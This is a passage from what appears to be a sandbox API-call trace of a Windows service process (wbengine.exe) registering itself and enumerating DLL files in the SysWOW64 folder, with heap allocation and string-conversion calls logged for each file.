(HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d278) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d288) returned 1 [0223.177] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.178] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0223.178] StartServiceCtrlDispatcherW (lpServiceTable=0x53fd74*(lpServiceName="", lpServiceProc=0x32d040)) [0236.417] SetServiceStatus (hServiceStatus=0x99e310, lpServiceStatus=0x53fc74*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 921 os_tid = 0x89c Thread: id = 922 os_tid = 0x8a0 Thread: id = 923 os_tid = 0x8a4 Thread: id = 924 os_tid = 0x8a8 [0223.312] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x32ce51) returned 0x99e310 [0223.312] SetServiceStatus (hServiceStatus=0x99e310, lpServiceStatus=0x171f908*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0223.406] GetCommandLineW () returned="C:\\Windows\\system32\\wbengine.exe" [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e268 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x5c) returned 0xf6dd28 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e1e0 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e2f0 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e378 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e400 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e488 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e510 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e598 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e620 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e6a8 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e730 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e7b8 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x100) returned 0xf77cf8 [0223.406] GetSystemWow64DirectoryW (in: lpBuffer=0xf77cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0223.406] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf77cf8) returned 1 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e840 [0223.406] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e840) returned 1 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e840 [0223.406] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x171f664, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x171f664) returned 0x99fd50 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0xf6c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0223.406] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.406] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.406] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.407] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.407] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.407] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0223.408] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.408] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.408] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0xf6c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0223.408] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.408] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.408] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.409] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0xf6c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.409] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.409] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0xf6c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.409] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.409] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.409] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.410] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0xf6c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.410] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0xf6c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.410] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0xf6c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0223.410] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.410] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.411] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0xf6c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.411] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0xf6c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.411] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.411] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.411] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, 